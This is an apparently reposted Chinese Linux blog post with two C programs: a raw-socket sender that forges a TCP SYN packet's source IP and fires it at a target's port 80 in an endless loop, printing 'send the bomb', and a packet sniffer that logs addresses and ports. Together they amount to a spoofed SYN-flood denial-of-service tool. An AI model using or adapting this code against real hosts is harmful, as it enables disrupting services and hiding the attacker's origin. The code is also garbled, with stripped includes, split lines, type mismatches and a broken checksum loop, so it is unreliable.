Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1350056
  • 博文数量: 244
  • 博客积分: 10311
  • 博客等级: 上将
  • 技术积分: 3341
  • 用 户 组: 普通用户
  • 注册时间: 2008-10-14 21:50
文章分类

全部博文(244)

文章存档

2013年(6)

2012年(5)

2011年(16)

2010年(11)

2009年(172)

2008年(34)

分类: LINUX

2009-04-26 08:01:55

发送程序:
PHP 代码:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define DESTPORT 80
#define LOCALPORT 8888
#define LOCAL_IP "192.168.0.1"

void send_tcp(int sockfd,struct sockaddr_in addr);
unsigned short check_sum(unsigned short addr,int len);

int main(int argc,char **argv)
{
 
int sockfd;
 
struct sockaddr_in addr;
 
struct hostent *host;
 
int on=1;

 if(
argc!=2)
 {
 
fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
 exit(
1);
 }
 
 
bzero(&addr,sizeof(struct sockaddr_in));
 
addr.sin_family=AF_INET;
 
addr.sin_port=htons(DESTPORT);
 
 if(
inet_aton(argv[1],&addr.sin_addr)==0)
 {
  
host=gethostbyname(argv[1]);
  
printf("\nNow I begin gethostbyname\n");
  if(
host==NULL)
  {
   
fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
   exit(
1);
  }
  
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
 }
/**************************************************************/
printf("NOW I begin to create sockfd");
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
printf("\nCreate sockfd success:%d",sockfd);
if(
sockfd<0)
 {
 
fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
 exit(
1);
 }
printf("/*NOW I WILL SEND THE BOMB*/");
send_tcp(sockfd,&addr);

}
/********send the bomb****************************************/
void send_tcp(int sockfd,struct sockaddr_in addr)
{
 
char buffer[100];
 
struct ip *ip;
 
struct tcphdr tcp;
 
int head_len;

 
head_len=sizeof(struct ip) + sizeof(struct tcphdr);
 
bzero(buffer,100);
 
 
ip=(struct ip *)buffer;
 
ip->ip_v=IPVERSION;
 
ip->ip_hl=sizeof(struct ip)>>2;//71
 
ip->ip_tos=0;
 
ip->ip_len=htons(head_len);
 
ip->ip_id=0;
 
ip->ip_off=0;
 
ip->ip_ttl=MAXTTL;
 
ip->ip_p=IPPROTO_TCP;
 
ip->ip_sum=0;
 
ip->ip_dst=addr->sin_addr;

 
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
 
tcp->source=htons(LOCALPORT);
 
tcp->seq=random();
 
tcp->ack_seq=0;
 
tcp->doff=5;
 
tcp->syn=1;
 
tcp->check=0;

 while(
1)
 {
 
ip->ip_src.s_addr=inet_addr(LOCAL_IP);
 
printf("\n the src ip address is:%s\n",inet_ntoa(ip->ip_src.s_addr));
 
/*ip->ip_src.s_addr=random();*/
 
tcp->check=check_sum((unsigned short *)tcp,sizeof(struct tcphdr));
 
printf("\n Sending the bomb\n");
 
sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,sizeof(struct sockaddr_in));
 
printf("\n Send Over\n");
 }
}

unsigned short check_sum(unsigned short *addr,int len)
{
 
register int nleft=len;
 
register int sum=0;
 
register short *w=addr;
 
short answer=0

 while(
nleft>1)
 {
 
sum+=*w+1;
 
nleft-=2;
 }
 if(
nleft==1)
 {
 *(
unsigned char *)(&answer)=*(unsigned char *)w;
 
sum+=answer;
 }
 
sum=(sum>>16)+(sum&0xffff);
 
sum+=(sum>>16);
 
answer=~sum;
 return(
answer);

PHP 代码:
接收程序:
#include
#include
#include
#include
#include
#include
#include
int main(int argc,char **argv)
{
 
int sock,n;
 
char buffer[2048];
 
unsigned char *iphead,*ethhead;
 
 if((
sock=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_IP)))<0)
 {
 
perror("socket");
 exit(
1);
 } 
 
printf("\nI hve got this step!\n");
 
 while(
1)
 {
 
printf("---------------------------------------\n");
 
n=recvfrom(sock,buffer,2048,0,NULL,NULL);
 
printf("%d bytes read \n",n);
 
 if(
n<42)
 {
 
perror("recvfrom():");
 
printf("Incomplete packet(errorno is %d)\n",errno);
 
close(sock);
 exit(
0);
 }
 
ethhead=buffer;
 
printf("SOURCE MAC address:%02x:%02x:%02x:%02x\n",ethhead[0],ethhead[1],ethhead[2],ethhead[3],ethhead[4],ethhead[5]);
 
printf("DESTINATION MAC address:%02x:%02x:%02x:%02x\n",ethhead[6],ethhead[7],ethhead[8],ethhead[9],ethhead[10],ethhead[11]);
 
 
iphead=buffer+14;
 if(*
iphead==0x45)
 {
printf("Source host %d.%d.%d.%d\n",iphead[12],iphead[13],iphead[14],iphead[15]);
printf("Dest host %d.%d.%d.%d\n",iphead[16],iphead[17],iphead[18],iphead[19]);
 }
 
printf("Source,Dest ports %d,%d\n",(iphead[20]<<8)+iphead[21],iphead[22]<<8+iphead[23]);
 
printf("Layer-4 protocol %d\n",iphead[9]);
}
 

“问题:在发送程序里设置IP包的源地址是192.168.0.1
但是不知道为什么在接受程序里检验出来的包的源地址仍然是我的本机IP(192.168.0.66)”
以上为转载,目的是参考伪装包的过程
阅读(6237) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~